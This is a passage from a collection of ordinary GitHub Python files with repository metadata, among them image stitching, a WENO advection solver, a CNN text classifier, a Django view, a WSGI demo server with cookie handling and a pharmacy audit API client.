640:1280, :]\n\n # if not os.path.exists(\"Unstitched/left_cap/\"):\n # os.makedirs(\"Unstitched/left_cap\")\n # file = 'Unstitched/left_cap/img'+str(i)+'.png'\n # #print(filename)\n # #cv.imshow(\"left side\", img1)\n # #cv.imshow(\"right side\", img2)\n # cv.imwrite(file, img1)\n # i +=1\n \n # if not os.path.exists(\"Unstitched/right_cap/\"):\n # os.makedirs(\"Unstitched/right_cap\")\n # file2 = 'Unstitched/right_cap/img'+str(j)+'.png'\n # #print(filename)\n # #cv.imshow(\"left side\", img1)\n # #cv.imshow(\"right side\", img2)\n # cv.imwrite(file2, img2)\n # j +=1\n\n if not os.path.exists(\"Unstitched/left_cap/\"):\n os.makedirs(\"Unstitched/left_cap\")\n os.makedirs(\"Unstitched/right_cap\")\n file1 = 'Unstitched/left_cap/img'+str(i)+'.png'\n file2 = 'Unstitched/right_cap/img'+str(i)+'.png'\n #print(filename)\n #cv.imshow(\"left side\", img1)\n #cv.imshow(\"right side\", img2)\n cv.imwrite(file1, img1)\n cv.imwrite(file2, img2)\n i +=1\n\nload_images_from_folder('cap_left', 'cap_right')\nload_images_for_unstitching('Stitched_images')\n\n#cv.waitKey(0)\n\n","repo_name":"ujjawalsingh10/Stitching-and-Unstitching-Images","sub_path":"stitching_unstitching.py","file_name":"stitching_unstitching.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11481663216","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n\nimport os\nfrom docx import Document\nfrom docx.shared import Inches, Pt\nfrom docx.oxml.ns import qn\nimport re\n'''将一个目录下所有docx,文件名用txt中的name'''\ntxtpath = os.path.abspath('./txtfolderFordocx')\ndocxpath = os.path.abspath('./docxfolder/')\n\nall_FileNum = 0\nindex = 367\ndef ChangeDocxName(path):\n global all_FileNum\n files = os.listdir(path) # 该目录下所有文件的名字\n for f in files:\n if (f[0] == '~' or f[0] == '.'):\n continue\n filepath = path + '\\\\' + f\n if filepath[-5:] == '.docx':\n document = Document(filepath) # 打开docx文件\n flag = 0\n newname = ''\n for paragraph in document.paragraphs:\n firstLine = paragraph.text\n if firstLine.startswith('发布人') or '情况介绍' in firstLine or '案例描述' in firstLine:\n flag -= 1\n flag += 1\n if flag >0:\n # print('##############', paragraph.text)\n newname = paragraph.text\n if len(paragraph.text) > 20:\n newname = paragraph.text[:20]\n break\n newname = str(index + all_FileNum) + ' ' + newname+ '.docx'\n print(f, '@@@@@@@@@', newname)\n # os.rename(filepath, newname)\n all_FileNum += 1\n\n\n\nif __name__ == '__main__':\n ChangeDocxName(txtpath)\n print('文件夹中文件转换完毕,文件总数 = ', all_FileNum)","repo_name":"ares5221/Implementation-of-Text-Classification","sub_path":"09ChangeFilesTools/Tool-doc2txt/ChangeDocxName.py","file_name":"ChangeDocxName.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"42346290039","text":"import numpy as np\nfrom numba import njit\n\n# @njit(cache=True)\ndef mass_flux(recon):\n result = np.empty_like(recon)\n result[0] = 0.0\n result[1:] = recon[0] * recon[1:]\n return result\n\n# @njit(cache=True)\ndef advection_flux(recon):\n fluxLR = np.zeros_like(recon)\n fluxLR[:, 0, :] = mass_flux(recon[:, 0, :])\n fluxLR[:, 1, :] = mass_flux(recon[:, 1, :])\n maxC = np.zeros(recon.shape[-1])\n maxC[1:] = 0.5 * (np.abs(recon[0, 1, :-1]) + np.abs(recon[0, 0, 1:]))\n flux = np.zeros((recon.shape[0], recon.shape[-1]))\n flux[:, 1:] = 0.5 * (fluxLR[:, 1, :-1] + fluxLR[:, 0, 1:] - maxC[1:] * (recon[:, 0, 1:] - recon[:, 1, :-1]))\n return flux\n\nclass Advector:\n def __init__(self, grid, data, apply_bcs, reconstruct):\n self.grid = grid\n self.data = data\n self.apply_bcs = apply_bcs\n self.reconstruct = reconstruct\n\n def step(self, dt):\n GriBeg = self.grid.griBeg\n GriEnd = self.grid.griEnd\n dtx = (dt / self.grid.dx)[GriBeg:GriEnd]\n\n self.apply_bcs(self.grid, self.data)\n recon = self.reconstruct(self.data, self.grid.dx)\n flux = advection_flux(recon)\n newData = np.copy(self.data)\n newData[:, GriBeg:GriEnd] = self.data[:, GriBeg:GriEnd] - dtx * (flux[:, GriBeg+1:GriEnd+1] - flux[:, GriBeg:GriEnd])\n\n self.apply_bcs(self.grid, newData)\n recon = self.reconstruct(newData, self.grid.dx)\n flux = advection_flux(recon)\n newData2 = np.copy(self.data)\n newData2[:, GriBeg:GriEnd] = 0.75 * self.data[:, GriBeg:GriEnd] + 0.25 * newData[:, GriBeg:GriEnd] - 0.25 * dtx * (flux[:, GriBeg+1:GriEnd+1] - flux[:, GriBeg:GriEnd])\n\n self.apply_bcs(self.grid, newData2)\n recon = self.reconstruct(newData2, self.grid.dx)\n flux = advection_flux(recon)\n newData3 = np.copy(self.data)\n newData3[:, GriBeg:GriEnd] = 1/3 * self.data[:, GriBeg:GriEnd] + 2/3 * newData2[:, GriBeg:GriEnd] - 2/3 * dtx * (flux[:, GriBeg+1:GriEnd+1] - flux[:, GriBeg:GriEnd])\n\n self.data = newData3\n\n\n","repo_name":"Goobley/WenoExperiments","sub_path":"HydroWeno/Advector.py","file_name":"Advector.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30388395469","text":"import configs\nfrom model_utils import *\nfrom modules import *\nimport data_utils\n\n\nclass Model(nn.Module):\n def __init__(self):\n super().__init__()\n\n # self.embedder = nn.Embedding(\n # num_embeddings=data_utils.vocab.size,\n # embedding_dim=configs.word_embedding_dim,\n # padding_idx=data_utils.vocab.padding_id,\n # _weight=(\n # torch.from_numpy(data_utils.vocab.build_embedding_mat())\n # if configs.inits_embedder else None\n # )\n # ).cuda()\n self.embedder = nn.Embedding.from_pretrained(\n embeddings=torch.from_numpy(\n data_utils.vocab.build_embedding_mat(new=configs.uses_new_embeddings)\n ), freeze=configs.freezes_embeddings\n ).cuda()\n\n if not configs.freezes_embeddings:\n with torch.no_grad():\n self.embedder.weight[data_utils.vocab.padding_id].requires_grad_(False)\n\n # if configs.fixes_embeddings:\n # self.embedder.weight.requires_grad_(False)\n\n self.feature_extractors = nn.ModuleList(\n [\n nn.Sequential(\n nn.Conv1d(\n in_channels=configs.word_embedding_dim,\n out_channels=kernel_num,\n kernel_size=kernel_width,\n # padding=1\n # stride=0, padding=1, dilation=0\n ),\n # nn.BatchNorm1d(num_features=kernel_num),\n # nn.ReLU(),\n nn.Tanh(),\n # nn.Dropout(configs.dropout_prob),\n # nn.Conv1d(\n # in_channels=kernel_num,\n # out_channels=kernel_num,\n # kernel_size=3,\n # stride=1, padding=0, dilation=1\n # ),\n # nn.BatchNorm1d(num_features=kernel_num),\n # nn.ReLU(),\n nn.AdaptiveMaxPool1d(output_size=1),\n Reshaper(-1, kernel_num)\n )\n for kernel_width, kernel_num in zip(configs.kernel_widths, configs.kernel_nums)\n ]\n ).cuda()\n # self.classifier = nn.Linear(configs.feature_num, configs.class_num).cuda()\n self.classifier = nn.Sequential(\n # nn.Linear(configs.feature_num, configs.hidden_size // 2),\n # nn.BatchNorm1d(num_features=configs.hidden_size // 2),\n # nn.ReLU(),\n nn.Dropout(configs.dropout_prob),\n # nn.Linear(configs.hidden_size, configs.hidden_size // 2),\n # nn.BatchNorm1d(num_features=(configs.hidden_size // 2)),\n # nn.ReLU(),\n # nn.Dropout(configs.dropout_prob),\n nn.Linear(configs.feature_num, configs.class_num)\n ).cuda()\n\n self.init_weights()\n\n def init_weights(self):\n self.apply(init_weights)\n\n def forward(\n self,\n # [batch_size, text_len]\n text_batch,\n ):\n # [batch_size, embedding_dim, text_len]\n embeddings_batch = self.embedder(text_batch).transpose_(1, 2)\n\n # print(embeddings_batch.shape)\n\n # [batch_size, feature_num]\n feature_vec_batch = torch.cat(\n [\n # [batch_size, kernel_num]\n feature_extractor(embeddings_batch)\n for feature_extractor in self.feature_extractors\n ], dim=-1\n )\n # feature_vec_batch = F.dropout(feature_vec_batch, p=configs.dropout_prob, training=self.training)\n # [batch_size, class_num]\n return self.classifier(feature_vec_batch)\n\n\n","repo_name":"YangXuanyue/nn4nlp-hw1-text-classifier","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18354263433","text":"class Mark:\n def __init__(self, mark):\n self.mark = mark\n self.marked = False\n\n def glow(self):\n self.marked = True\n\n\nclass Square:\n def __init__(self):\n self.grid = []\n\n def make_grid(self, lines):\n self.grid = []\n for line in lines:\n self.grid.append([Mark(num) for num in line.strip().replace(' ', ' ').split(' ')])\n\n def mark(self, num):\n for lines in self.grid:\n for i in range(len(lines)):\n if lines[i].mark == num:\n lines[i].glow()\n return\n\n def finished(self):\n finished_2 = [True] * len(self.grid[0])\n for line in self.grid:\n finished = True\n for i in range(len(line)):\n num = line[i]\n if not num.marked:\n finished = False\n finished_2[i] = False\n if finished:\n return True\n return any(finished_2)\n\n def sum_unmarked(self):\n sum = 0\n for line in self.grid:\n for num in line:\n if not num.marked:\n sum += int(num.mark)\n return sum\n\n\ndef solution(inp):\n nums_to_call = inp[0].split(',')\n squares = []\n offset = 0\n for i in range(0, len(inp), 5):\n square = Square()\n square.make_grid(inp[i + offset + 2:i + offset + 7])\n offset += 1\n if square.grid:\n squares.append(square)\n for num in nums_to_call:\n for square in squares:\n square.mark(num)\n if square.finished():\n return square.sum_unmarked() * int(num)\n return 0\n\n\ndef result(inp):\n return solution(inp)\n\n\ndef test(example_inp):\n assert result(example_inp) == 4512\n","repo_name":"Arham4/advent-of-code","sub_path":"2021/day04/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"30999219061","text":"from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.shortcuts import render, redirect\nfrom django.views import View\nfrom .models import News\nfrom .forms import NewsForm\n\nclass NewsView(View):\n def get(self, request):\n news = News.objects.all().order_by(\"-date\")\n\n if (request.GET.get('per_page')):\n per_page = request.GET.get('per_page')\n else:\n per_page = 5\n\n paginator = Paginator(news, per_page)\n page = request.GET.get('page')\n\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n posts = paginator.page(1)\n except EmptyPage:\n posts = paginator.page(paginator.num_pages)\n\n form = NewsForm()\n vars = {\n \"posts\": posts,\n 'form': form,\n }\n\n return render(request, \"lenta_news/main.html\", vars)\n\n\n\n\ndef create(request):\n if request.method == 'POST':\n form = NewsForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('home')","repo_name":"andreikvachkov/test_lenta","sub_path":"lenta_news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1476732587","text":"from common.extension import InMemExtension\nfrom .serializers import MobileLoginRegisterConfigSerializer\nfrom .provider import MobileLoginRegisterConfigProvider\nfrom runtime import Runtime\nfrom .constants import KEY\n\n\nclass MobileLoginRegisterConfigExtension(InMemExtension):\n def start(self, runtime: Runtime, *args, **kwargs):\n runtime.register_login_register_config(\n key=KEY,\n name=\"mobile_login_register\",\n description=\"Mobile login and register\",\n provider=MobileLoginRegisterConfigProvider,\n serializer=MobileLoginRegisterConfigSerializer,\n )\n super().start(runtime=runtime, *args, **kwargs)\n\n def teardown(self, runtime: Runtime, *args, **kwargs):\n runtime.logout_login_register_config(\n key=KEY,\n name=\"mobile_login_register\",\n description=\"Mobile login register config\",\n provider=MobileLoginRegisterConfigProvider,\n serializer=MobileLoginRegisterConfigSerializer,\n )\n\n\nextension = MobileLoginRegisterConfigExtension(\n name=KEY,\n tags='login',\n scope='tenant',\n type='tenant',\n description=\"Mobile login and register\",\n version=\"1.0\",\n homepage=\"https://www.longguikeji.com\",\n logo=\"\",\n maintainer=\"fanhe@longguikeji.com\",\n)\n","repo_name":"0079123/arkid","sub_path":"extension_root/mobile_login_register/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"5585024509","text":"import torch\nfrom torch.utils.data import Dataset, DataLoader\nimport pickle\nimport numpy as np \n\nclass CustomDataset(Dataset):\n\t\"\"\"docstring for Dataset\"\"\"\n\t# dataset behave differently when requesting label or unlabel data\n\tdef __init__(self, wordDict, datafile): #, wordDictFile): #, labeled=True, needLabel=True):\n\t\tsuper(CustomDataset, self).__init__()\n\t\tprint('- dataset: '+datafile)\n\n\t\tself.data = self.readData(datafile)\n\n\t\twith open(wordDict,\"rb\") as fp:\n\t\t\tself.wordDict = pickle.load(fp,encoding='latin1')\n\t\tself.sos_id = 2 \n\t\tself.eos_id = 3\n\t\tself.unk_id = 1\n\n\tdef readData(self,datafile):\n\t\tquestion = []\n\t\tresponse = []\n\n\t\twith open(datafile, 'r') as f:\n\t\t\tlines = f.readlines()\n\n\t\tfor i in range(len(lines)):\n\t\t\tsentences = lines[i].lower().split('__eou__')[:-1] # there's one empty sentence in the end\n\t\t\n\t\t\tfor j in range(len(sentences)-1):\n\t\t\t\tquestion.append(sentences[j].strip().split())\n\t\t\t\tresponse.append(sentences[j+1].strip().split())\n\n\t\treturn question, response\n\n\tdef __len__(self):\n\t\treturn len(self.data[0])\n\n\tdef __getitem__(self, idx):\n\t\tquestion_idx = self.word2index(self.data[0][idx])\n\t\tresponse_idx = self.word2index(self.data[1][idx])\n\n\t\treturn (question_idx,response_idx)\n\n\tdef word2index(self, sentence):\n\t\tindArr = []\n\t\tindArr.append(self.sos_id)\n\t\tfor i in range(len(sentence)):\n\t\t\tword = sentence[i]\n\t\t\tif word in self.wordDict:\n\t\t\t\tindArr.append(self.wordDict[word])\n\t\t\telse:\n\t\t\t\tindArr.append(self.unk_id)\n\t\tindArr.append(self.eos_id) \n\t\tindArr = np.array(indArr)\n\t\treturn indArr\n\t\t\ndef seq_collate(batch):\n\tbatchSize = len(batch)\n\n\tmaxLen_q = 0\n\tmaxLen_r = 0\n\tlengths = []\n\n\tfor i, seq in enumerate(batch):\n\t\tseqLen_q = len(seq[0])\n\t\tseqLen_r = len(seq[1])\n\t\tlengths.append([i, seqLen_q, seqLen_r])\n\t\tif seqLen_q > maxLen_q:\n\t\t\tmaxLen_q = seqLen_q\n\t\tif seqLen_r > maxLen_r:\n\t\t\tmaxLen_r = seqLen_r\n\tquestion = np.zeros([batchSize, maxLen_q])\n\tresponse = np.zeros([batchSize, maxLen_r])\n\tqLengths = []\n\trLengths = []\n\n\tlengths = sorted(lengths, key=lambda x:x[1], reverse=True)\n\tfor i in range(batchSize):\n\t\tquestion[i][:lengths[i][1]] = batch[lengths[i][0]][0]\n\t\tresponse[i][:lengths[i][2]] = batch[lengths[i][0]][1]\n\t\trLengths.append(lengths[i][2])\n\tqLengths = [lengths[i][1] for i in range(len(lengths))]\n\n\tquestion = torch.LongTensor(question)\n\tresponse = torch.LongTensor(response)\n\tqLengths = torch.tensor(qLengths)\n\trLengths = torch.tensor(rLengths)\n\n\n\treturn {'question': question,\n\t\t\t'qLengths': qLengths,\n\t\t\t'response': response,\n\t\t\t'rLengths': rLengths\n\t\t}\n\nclass LoaderHandler(object):\n\t\"\"\"docstring for LoaderHandler\"\"\"\n\tdef __init__(self, wordDict, data_paths, batch_size):\n\t\tsuper(LoaderHandler, self).__init__()\n\t\tprint('loader handler...')\t\n\n\t\ttestData = CustomDataset(wordDict, data_paths['test'])\n\t\tself.ldTestEval = DataLoader(testData,batch_size=1, shuffle=False, collate_fn=seq_collate)\n\n\t\ttrainData = CustomDataset(wordDict, data_paths['train'])\n\t\tself.ldTrain = DataLoader(trainData,batch_size=batch_size, shuffle=True, num_workers=2, collate_fn=seq_collate)\n\n\t\tdevData = CustomDataset(wordDict, data_paths['dev'])\n\t\tself.ldDev = DataLoader(devData,batch_size=batch_size, shuffle=False, num_workers=2, collate_fn=seq_collate)\n\t\tself.ldDevEval = DataLoader(devData,batch_size=1, shuffle=False, collate_fn=seq_collate)\n","repo_name":"wsxzwps/pure-seq2seq","sub_path":"seq2seq/loader/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70607223452","text":"from itertools import product\r\nA = map(int, input().split())\r\nB = map(int, input().split())\r\nListA = []\r\nListB = []\r\nfor i in A:\r\n ListA.append(i)\r\nfor i in B:\r\n ListB.append(i)\r\nif len(ListA) > 0 and len(ListA) < 30 and len(ListB) > 0 and len(ListB) < 30:\r\n for item in product(ListA,ListB):\r\n print(item,end=' ')\r\nelse:\r\n exit","repo_name":"Gauravism2017/Hackerrank_python","sub_path":"Iter_product/Iter_product/Iter_product.py","file_name":"Iter_product.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14749703692","text":"import wsgiref.simple_server\nimport urllib.parse\nimport html\nimport http.cookies\nimport base64\nimport io\n\ndef getqueryget(environ):\n getdata = {}\n querygetstr = environ.get('QUERY_STRING', '')\n if querygetstr:\n getdata = urllib.parse.parse_qs(querygetstr)\n return getdata\n\ndef formatquery(query):\n htmlstr = io.StringIO()\n for rawkey, rawvalues in query.items():\n for rawvalue in rawvalues:\n key = html.escape(rawkey)\n value = html.escape(rawvalue)\n htmlstr.write(f'
  • {key}: {value}
  • ')\n return htmlstr.getvalue()\n\ndef demoget(environ, start_response):\n getdata = getqueryget(environ)\n getdatastr = formatquery(getdata)\n htmlstring = f'''\n \n wsgi get demo\n \n

    one key (?foo=bar)

    \n

    two keys (?foo=bar&bar=baz)

    \n

    one key repeated (?foo=bar&foo=baz)

    \n

    query get

    \n
      \n {getdatastr}\n
    \n

    back

    \n \n \n '''\n htmlbytes = bytes(htmlstring, 'utf8')\n status = '200 OK'\n headers = [('Content-Type', 'text/html; charset=utf-8')]\n start_response(status, headers)\n return [htmlbytes]\n\ndef getquerypost(environ):\n postdata = {}\n contentlengthstr = environ.get('CONTENT_LENGTH', '')\n if contentlengthstr:\n contentlength = int(contentlengthstr)\n querypoststream = environ['wsgi.input']\n querypostbytes = querypoststream.read(contentlength)\n querypoststr = str(querypostbytes, 'utf8')\n postdata = urllib.parse.parse_qs(querypoststr)\n return postdata\n\ndef demopost(environ, start_response):\n postdata = getquerypost(environ)\n postdatastr = formatquery(postdata)\n htmlstring = f'''\n \n wsgi post demo\n \n
    \n

    foo:

    \n

    bar:

    \n

    bar: (key repeated)

    \n

    \n
    \n

    query post

    \n
      \n {postdatastr}\n
    \n

    back

    \n \n \n '''\n htmlbytes = bytes(htmlstring, 'utf8')\n status = '200 OK'\n headers = [('Content-Type', 'text/html; charset=utf-8')]\n start_response(status, headers)\n return [htmlbytes]\n\ndef getcookies(environ):\n cookies = http.cookies.SimpleCookie()\n httpcookiestr = environ.get('HTTP_COOKIE', '')\n if httpcookiestr:\n cookies.load(httpcookiestr)\n return cookies\n\ndef formatcookies(cookies):\n htmlstr = io.StringIO()\n for cookie in cookies.values():\n unescapedcookiestr = cookie.OutputString()\n escapedcookiestr = html.escape(unescapedcookiestr)\n htmlstr.write(f'
  • {escapedcookiestr}
  • ')\n return htmlstr.getvalue()\n\ndef democookie(environ, start_response):\n cookies = getcookies(environ)\n cookiesstr = formatcookies(cookies)\n htmlstring = f'''\n \n wsgi cookie demo\n \n

    cookies

    \n
      \n {cookiesstr}\n
    \n

    set cookie1

    \n

    set cookie2

    \n

    del cookie1

    \n

    del cookie2

    \n

    back to main

    \n \n \n '''\n htmlbytes = bytes(htmlstring, 'utf8')\n status = '200 OK'\n headers = [('Content-Type', 'text/html; charset=utf-8')]\n start_response(status, headers)\n return [htmlbytes]\n\ndef cookieaction(environ, start_response, action, number):\n cookiename = f'cookie{number}'\n htmlstring = f'''\n \n wsgi cookie demo action\n

    cookie {number} is {action}

    \n

    back to cookie page

    \n \n \n \n '''\n htmlbytes = bytes(htmlstring, 'utf8')\n cookie = http.cookies.SimpleCookie()\n cookie[cookiename] = f'cookie number {number}'\n if action == 'del':\n cookie[cookiename]['max-age'] = 0\n status = '200 OK'\n headers = [\n ('Content-Type', 'text/html; charset=utf-8'),\n ('Set-Cookie', cookie[cookiename].OutputString())\n ]\n start_response(status, headers)\n return [htmlbytes]\n\ndef index(environ, start_response):\n htmlstring = f'''\n \n wsgi demo\n \n

    demo get

    \n

    demo post

    \n

    demo cookie

    \n

    demo error page (page does not exist)

    \n \n \n '''\n htmlbytes = bytes(htmlstring, 'utf8')\n status = '200 OK'\n headers = [('Content-Type', 'text/html; charset=utf-8')]\n start_response(status, headers)\n return [htmlbytes]\n\ndef favicon(environ, start_response):\n status = '200 OK'\n faviconbase64 = (\n b'AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAgAAAAAAAA'\n b'AAAAAAAEAAAAAAAAAAAAAAAAP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAERERERERAAEREQA'\n b'AEREQARERAAARERABEREREREREAEREQAAEREQARERAAARERABEREAABEREAEREQAA'\n b'EREQARERAAARERABEREAABEREAEREQAAEREQARERAAARERABEREAABEREAARERERE'\n b'REAAAAAAAAAAADAAwAAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n b'AAAAAAAAAAAAAAAAAAAAAAAIABAADAAwAA'\n )\n faviconbytes = base64.b64decode(faviconbase64)\n headers = [('Content-Type', 'image/x-icon')]\n start_response(status, headers)\n return [faviconbytes]\n\ndef errorpage(environ, start_response, path):\n textstring = 'error 404 not found: ' + path\n textbytes = bytes(textstring, 'utf8')\n status = '404 NOT FOUND'\n headers = [('Content-Type', 'text/plain; charset=utf-8')]\n start_response(status, headers)\n return [textbytes]\n\ndef demoserver(environ, start_response):\n path = environ.get('PATH_INFO', '').lstrip('/')\n if path == '':\n return index(environ, start_response)\n elif path == 'demoget':\n return demoget(environ, start_response)\n elif path == 'demopost':\n return demopost(environ, start_response)\n elif path == 'democookie':\n return democookie(environ, start_response)\n elif path == 'setcookie1':\n return cookieaction(environ, start_response, 'set', 1)\n elif path == 'setcookie2':\n return cookieaction(environ, start_response, 'set', 2)\n elif path == 'delcookie1':\n return cookieaction(environ, start_response, 'del', 1)\n elif path == 'delcookie2':\n return cookieaction(environ, start_response, 'del', 2)\n elif path == 'favicon.ico':\n return favicon(environ, start_response)\n else:\n return errorpage(environ, start_response, path)\n\ndef main():\n httpd = wsgiref.simple_server.make_server('', 31337, demoserver)\n print('Serving HTTP on port 31337')\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n print('keyboard interrupt')\n print('shutting down')\n\nif __name__ == '__main__':\n main()\n","repo_name":"lesmana/wsgi-demo","sub_path":"wsgi-demo.py","file_name":"wsgi-demo.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16607546898","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/8/6 16:28\n# @Author : wangmengmeng\nfrom common.request import HttpRequest\nfrom config.read_config import ReadConfig\nfrom common.send_data import SendData\nimport time\n\n\ndef wait(func):\n # func(*args, **kw)可以使函数适配任意多的参数\n def wrapper(*args, **kw):\n time.sleep(3)\n return func(*args, **kw)\n\n return wrapper\n\n\nclass Opt:\n def __init__(self):\n self.send = SendData()\n self.conf = ReadConfig()\n self.auditcenter_url = self.conf.get('auditcenter', 'address')\n self.request = HttpRequest()\n\n @wait\n def selNotAuditOptList(self, num):\n \"\"\"\n 待审门诊列表根据处方号查询\n :return: 通过return结果可以获得以下数据:engineid res['data']['optRecipeList'][0]['id']\n \"\"\"\n url = self.conf.get('auditcenter', 'address') + '/api/v1/opt/selNotAuditOptList'\n recipeno = 'r' + ''.join(str(num)) + '_' + self.send.change_data['{{ts}}']\n param = {\n \"recipeNo\": recipeno\n }\n res = self.request.post_json(url, param)\n return res\n\n @wait\n def waitOptList(self, num):\n \"\"\"\n 待审门诊列表根据处方号查询\n :return: 通过return结果可以获得以下数据:engineid res['data']['optRecipeList'][0]['id']\n \"\"\"\n # self.send.send('ipt', '医嘱一', 1)\n # time.sleep(3)\n url = self.conf.get('auditcenter', 'address') + '/api/v1/opt/selNotAuditOptList'\n recipeno = 'r' + ''.join(str(num)) + '_' + self.send.change_data['{{ts}}']\n param = {\n \"recipeNo\": recipeno\n }\n res = self.request.post_json(url, param)\n optRecipeList = res['data']['optRecipeList'] # 待审列表的处方数据\n infos = []\n engineid = ''\n if optRecipeList is not None: # 待审列表的处方不为空的时候执行下述语句\n infos = res['data']['optRecipeList'][0]['infos']\n engineid = res['data']['optRecipeList'][0]['optRecipe']['id']\n return optRecipeList, infos, engineid\n\n def get_engineid(self, num):\n \"\"\"\n 待审列表获取引擎id\n :param num: 根据处方号获取引擎id,注意看xml中处方号r后拼接的是1还是2\n :return:\n \"\"\"\n res = self.selNotAuditOptList(num)\n return res['data']['optRecipeList'][0]['optRecipe']['id']\n\n def audit_multi(self, *ids):\n \"\"\"\n 待审门诊任务列表批量通过\n :param ids: 引擎id\n \"\"\"\n url = self.conf.get('auditcenter', 'address') + '/api/v1/auditBatchAgree'\n param = {\n \"ids\": ids,\n \"auditType\": 1, # 1指门急诊\n \"auditWay\": 2\n }\n self.request.post_json(url, param)\n\n def opt_audit(self, engineid, audit_type):\n \"\"\"\n 处方详情审核任务\n :param engineid:\n :param audit_type: 0 审核打回 1 审核打回(可双签) 2 审核通过\n \"\"\"\n url = ''\n param = ''\n if audit_type == 0:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/detailPageAuditRefuse?auditWay=2'\n param = {\n \"optRecipeId\": engineid,\n \"auditResult\": \"打回必须修改\",\n \"operationRecordList\": [],\n \"messageStatus\": 0\n }\n elif audit_type == 1:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/detailPageAuditRefuse?auditWay=2'\n param = {\n \"optRecipeId\": engineid,\n \"auditResult\": \"打回可双签\",\n \"operationRecordList\": [],\n \"messageStatus\": 1\n }\n elif audit_type == 2:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/detailPageAuditAgree?auditWay=2'\n param = {\n \"optRecipeId\": engineid,\n \"auditResult\": \"审核通过\"\n }\n self.request.post_json(url, param)\n\n def get_recipeInfo(self, engineid, type):\n \"\"\"\n 获取处方(包括处方头与处方明细)信息与患者信息\n :param engineid:\n :param type: 0 待审页面 1 已审页面\n :return:\n \"\"\"\n if type == 0:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/opt/recipeInfo/' + str(engineid)\n else:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/opt/all/recipeInfo/' + str(engineid)\n return self.request.get(url)\n\n def get_operation(self, engineid, type):\n \"\"\"获取门诊手术信息\"\"\"\n if type == 0:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/opt/optOperationList/' + str(engineid)\n else:\n url = self.conf.get('auditcenter', 'address') + '/api/v1/opt/all/optOperationList/' + str(engineid)\n return self.request.get(url)\n\n def mergeAuditResult(self, recipeId, id, type):\n \"\"\"\n 获取处方的操作(干预理由、药师、医生等)记录\n :param recipeId: 第一次跑引擎的engineid\n :param id: 第二次跑引擎的engineid\n :param type: type = 0代表待审页面,type = 1代表已审页面\n :return:\n \"\"\"\n if type == 0:\n url = (self.auditcenter_url + \"/api/v1/opt/mergeAuditResult?recipeId=%s&id=%s\") % (recipeId, id)\n else:\n url = (self.auditcenter_url + \"/api/v1/opt/all/mergeAuditResult?recipeId=%s&id=%s\") % (recipeId, id)\n return self.request.get(url)\n","repo_name":"wmm0165/auditcenter_190912","sub_path":"common/opt.py","file_name":"opt.py","file_ext":"py","file_size_in_byte":5589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29982490427","text":"\ndef is_ladder_safe(ldr):\n n = len(ldr[0])\n if n >= 5:\n rung = '#'*n\n not_rung = '#' + ' '*(n-2) + '#'\n if all(row in [rung,not_rung] for row in ldr):\n rungs = [i for i in range(len(ldr)) if ldr[i] == rung]\n gap = [b-a for a, b in zip(rungs,rungs[1:])]\n return len(set(gap)) == 1 and gap[0] <= 3\n return False\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"eMRXLJLpaSTxZvsKN_2.py","file_name":"eMRXLJLpaSTxZvsKN_2.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33513266245","text":"def precision_recall_f1(predictions, golds):\n p, r, f1 = 0.0, 0.0, 0.0\n if len(predictions) > 0 and len(golds) > 0:\n p = (len(set(predictions) & set(golds))) / len(set(predictions))\n r = (len(set(predictions) & set(golds))) / len(golds)\n if p + r > 0:\n f1 = f1_score(p, r)\n return p, r, f1\n\ndef f1_score(p, r):\n if p + r == 0:\n return 0\n return 2 * ((p * r) / (p + 